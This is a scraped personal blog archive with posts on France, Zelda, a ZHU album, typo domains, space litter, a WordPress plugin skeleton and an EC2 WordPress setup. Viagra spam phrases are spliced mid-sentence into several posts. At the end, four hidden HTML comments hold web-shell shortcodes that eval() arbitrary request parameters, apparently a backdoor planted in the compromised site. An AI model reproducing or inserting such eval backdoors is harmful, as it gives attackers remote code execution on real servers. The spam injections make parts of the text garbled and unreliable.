Showing Love for France

France We Love You!

Sending much love and compassion France’s way. Its easy to forget but France is our bestie as a country. They bailed us out in the Revolution. They sent us the Statue of Liberty and we liked it so much we keep it on the front lawn. We <3 them and it breaks our hearts to hear about the tragedy in Paris.

France and French Flag Profile Filter

Gotta love that rainbowfilter.io made a French flag profile picture filter to support France. Facebook started releasing temporary profile picture filters and today released once to show support for France. A lot of people actually use the Rainbow Filter profile picture filter site because they can’t get Facebook in their country or they want to use it for their profile pictures on other sites. Too bad this one was not as happy as the last filter they did. So sad 🙁

Legend of Linkle? NOPE. Legend of Link? NOPE. Legend of Zelda? YEP.

Sorry Linkle, Its the Legend of Zelda Not the Legend of Link

Linkle is lame but she got me thinking conspiracy: these games are definitely not The Legend of Link. Zelda is a ninja, princess, sorceress, ruler of the kingdom, interspecies ambassador, and wears one the most badass costumes in all of video gaming tarif du viagra. She has a secret superhero alter ago and sneaks out of the castle to kick ass. Link is a gnome-hat wearing country bumpkin who lives in a freaking tree/shack with his uncle. Zelda is cosmopolitan nobility who lives in a castle with legendary lineage. Link is carrying the sword because magic says he has to, but Zelda sets up the entire world-saving quest like tee-ball for him. In fact Link carries around all the heavy shit for her AND the magic bag AND does the shitty parts of the quest. Zelda is the fucking CEO of Hyrule. Link’s always asking her what he should do next because he’s amateur hour. Zelda doesn’t change form in the Dark World, she is already her true form, and Link turns in to a fucking rabbit. That’s not legend status. Zelda even has to teach Link fresh tunez on his Ocarina. Link plays second fiddle. If you squint hard enough it almost looks like Link is pretty much Zelda’s ride-or-die bitch. Apparently in the comic Zelda even kills Ganondorf. With a shot from her… wait for… silver crossbow. Fuck Linkle, there’s some deeper shit going on here: have we been playing as the sidekick the whole time!? Zel-da! Zel-da! Zel-da!

ALBUM REVIEW – ZHU – Genesis Series

ZHU Genesis Series Review: Spoiler Its Awesome

Were you living under a rock? PERFECT, its probably got some sensuous, dark or dimmed lighting under there and the new ZHU album “Genesis Series” just came out. You should probably invite some people over to your rock to listen to this new ZHU masterpiece, a six track collection of post downtempo hiphop production mastery that is guaranteed to make you 100% cooler. I mean seriously, did you even check the collabs on this album? It’s got ZHU… and BONE THUGS-N-HARMONY. And if you’re a dubstep obsessed 13y/o boy or you have ultimate respect for hyperproduction techniques you won’t miss the SKRILLEX COLLAB. You thought the 90’s were gone? They’re fresher than ever and ZHU is making you freak out about it. This album is on an entirely different level from anything out there currently and you’ll need a listen with full, studio headphones to catch the nuances that drive the deliciously satisfying umami bass and signature pop perfect falsetto. You should obsess.

There Can Be Only One ZHU

After now-legendary LA music producer Steven Zhu erased a lifetime catalog of work and transcended in to deification as ZHU his initial album, “The Nightday” became a landmark piece of modern electronic and modern hiphop. His relentlessly technical production skills and preternatural, almost Michael Jackson-esque, understanding of pop hooks did the impossible: bridged the gap between electronic and hiphop. Skipping the transposed vocal clips and kick ducked house synth builds that defined the Summer of Downtempo ZHU didn’t iterate on the next popular genre of electronic but started defining an entire sound entirely. And its back, better, and stronger on “Genesis Series”. The flawless production quality and originality of “The Nightday” made a ZHU sophomore release an incredibly daunting task artistically. Nothing less than a supernaturally talented producer could have been able to maintain the focus and attention to detail required for the sound you hear on “Genesis Series”.

Hyperproduction is Here to Stay

There’s an almost symbolic message that the final track on this album, “Working For It” is a collab between ZHU and Skrillex. Skrillex is probably the most recently well known hyperproducer with a signature sound. The Skrillex sound is known for nearly feral use of multilayered clips, overtuffed sound spectrums, memetic lyrics, hard drops, and frenetically savage approach to vocal transposing. ZHU is none of that with his flawless focus on ultra smooth, reductionist, downtempo hiphop and yet the ZHU sound requires the same, if not more, technically rigorous levels of production. A collab between ZHU and Skrillex is like a collab between a velvet couch in the back of a dark club and a hail of razor wire under a strobe light. And yet “Working For It” is a seamless melding of the two like something you’d see at an underground fashion collective. This isn’t an accident, ZHU doesn’t do accidents, this was done with a purpose. If these two wildly different sounds requiring disparate forms of hyperproduction can be sewn together it means hyperproduction isn’t just a way to get a niche sound specialization anymore. ZHU and Skrillex just fired a massive warning flare to every artist producer: hyperproduction just became part of every day music creation.

Hold Up Wait a Minute… I Know That Hook

I’m not exactly sure was the message is with ZHU’s… liberal… use of hooks. Is it even legal? Probably, but wow, its relentless. From 90’s hip hop to Led Zepplin you’ll get what I can only assume is the legally safe version of just about every catchy hook ever. BUT WAIT. Its not actually those hooks! Its nearly maddening chasing down every sound, you’ll find yourself listening over and listening to hear exactly where you remember that pattern from. But its never an actual copy! The track “Testarossa Music” will drive you nuts opening lines lyrically similar to the original hook. Finding the “Billie Jean” hook is like searching for Waldo. Its a head spinning sensation and it showcases just how on top of the entire music industry ZHU really is if he is able to confidently navigate the treacherous copyright waters that recently swirled around Pharrell backed “Blurred Lines”.

You Just Said Umami Bass. How Do I Hear Umami Bass on “Genesis Series”?

How else would you describe the bass on “Genesis Series”? Its both perfectly light and yet entirely filling. Its not overpowering but even a basshead could be satisfied with how rich and smooth it is. There’s only one flavor to describe “satisfaction” and that’s umami, somehow ZHU channels that through his bass clips. That’s not the only place to hear his incredible ear. The truth is to really hear ZHU’s “Genesis Series” you need to listen it on studio quality headphones or studio monitor speakers. There are nuances on this album that won’t come through the airwaves overtly on a normal rig or anything with poor sound balancing. His masterful attention to detail is what drives the underlying sense of completion with every phrase, transition, and track. You feel it without headphones, but with the right headphones on you can distinctly notice what is making you feel that way. You know as a studio head ZHU spent hours and hours and hours agonizing over each and every sound on the best and most nuanced gear money can buy. You don’t wear sunglasses at an art gallery so you shouldn’t listen to ZHU on rusty tin cans.

TL;DR

You need to be careful with this album, ZHU’s “Genesis Series” is a hyperproduced pharmacological grade aphrodisiac brought back from a sensuous future of 90’s hiphop, wailing guitars, and yes even zydeco trumpet and rap. It is not to be taken lightly.

There’s Gold In Them Thar Typo Domains!

Digging For Gold in Typo Domains

This blog and this entire site are mostly a free time diversion from my daily job so I like to screw around with new things and poke at stuff with stick, last night it was typo domains. Typo domains get a bad rep for a reason: they’re mostly useless and they’re legally questionable. The useless part comes from the fact browsers don’t just default to .com anymore in the address bar they search so typos are not that valuable. Typo domains are legally questionable if you take typos from a brand or business that’s copyright protected, they can take you to court and sue the pants off you for your domains. We’re not talking about your soon-to-be-pantsless illegal cybersquatting type of typos, we’re talking type in typos for huge general word searches.

Typo Domains 101: The Basics

Step 1: acquire a typo generator. This is easily done by searching for typo generators online. Get a good one that gives you multiple types of typos relevant to domains, there are several ways people bone typing things in. Once you’ve got a typo generator then its time to find your keywords. Think of some generic words that people might search. The shorter the word less likely they are to be typos, there’s simply less letters. But shorter words are more common. Its a bit of a trade-off but you should have a preference for popularity and shorter words as you are trying to grab as much free traffic as possible. Also, for example, you won’t find any typo domains for the keyword “ssl”. Why is that? Because “ssl” is only 3 letters and most 3 letter domains are taken and most good 4 letter domains are taken. Explore several keywords to see what’s available but don’t go too far.

Identify the Best Typos

If you see a typo you commonly make on a word chances are a lot of people are making that same typo. Does the typo involve inserting letters in to a double letter set like “boloks” for “books”? That’s an unlikely typo, it may not be the best choice. Does the typo read phonetically somewhat like the actual word, like “boks” or “bookx”? That may be a more natural typo for some people.

The Aftermath: What Happens After You Buy a Typo Domain

Nothing. So you went ahead and pulled the trigger and purchased some typo domains? I already told you, its probably a bad idea. They hardly get any traffic. If you are tracking the traffic to a typo domain you probably won’t see any “typo” type in traffic for 24 to 72 hours avis generic viagra. That’s because DNS hasn’t propagated fully yet. Once your DNS record has been sent out and your WHOIS registration is available you’ll get a bunch of bot traffic. And by a bunch I mean 0 to 1 hits a day. Its not real people. You’ll also probably type in your own typo domain just to see, don’t forget to account for that if you’re doing any tracking. After that you’ll just have to wait because you’re basically parking a domain and that’s a risky game, its unlikely to generate much relevant, human traffic and even less revenue. Bummer.

What Does Teotwawki Mean For the Ethics of Colonizing Space?

So TEOTWAWKI Means “The End of the World as We Know It”

“And I feel fiiiiiiiiiinnnnneeee…” you just hear it in your head after saying that phrase which is probably why TEOTWAWKI needeed to be an acronym. It’s also EOTWAWKI some people skipping the more formal singular honorific. I heard someone say it the other day and I’ve been watching Walking Dead and this morning I was like, “Wait is that really a thing?” Turns out TEOTWAWKI is a thing for people. It looks like a vaguely Hawaiian/Japanese word. Here’s how to pronounce teotwawki because how would you figure out the pronunciation of teotwawki:

Obviously We Would Colonize Space During the End of the World

All this TEOWAWKI and my natural inclination to think about space travel got me thinking harder about space travel. Ethically speaking right now we’re decently responsible with our colonizing of space: we laser the shit out of anything we send to Mars so there aren’t microbes and whatnot. Space ethics gets weird with TEOTWAWKI though. Imagine a situation where the sun is ending 100-1000 years from now. That doesn’t just kill Earth it also pretty much shuts out the lights on the entire solar system and if the power goes out we’re moving out of the neighborhood. In that situation would we slow down and worry about the ethics of space colonization? Or would we to shotgun blast humans at anything remotely habitable and crash land and cough our survivalist microbes on everything?

We Leave Space Garbage Everywhere Already

J/k got you we’re not responsible at all and we’re a mess. We’re pretty much giant space litterbugs. We’ve left an insane amount of trash orbiting the planet, we leave tons of garbage on the moon, and our #1 way to explore a new planet it to basically crash a computer with probes on to it. Imagine if we had to bug out for TEOWAWKI and colonize anything, even intrasolar planets (Mars I’m looking at you.) We’d pile up space junk so fast it would be crazy avis sur le viagra. Its estimated we have colonized like 400,000 pounds of trash to the moon. It would be like when you see a McDonalds wrapper floating by in the wind 10mi from the nearest McDonalds only its 33.9 million miles from the nearest McDonalds. Speaking of which we’d probably take our animals with us and you know how they poop everywhere. Speaking of poop: we already jettison astronaut poop in to the atmosphere so it burns up. That should give you an idea of how cleanly we handle space exploration, we rain shit on our own heads.

Some People Call it SHTF not TEOTWAWKI

If you’re wondering what SHTF means you’re not alone. In my vision question for the pronunciation of teotwawki I found out SHTF means “shit hits the fan”. Less exotic and not nearly as fun IMO but if it starts raining corn kernels we’re gonna officially change the name.

Hmmmm…

Humans are gross even in space. I’ll probably tweet @NASA about it just for fun.

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>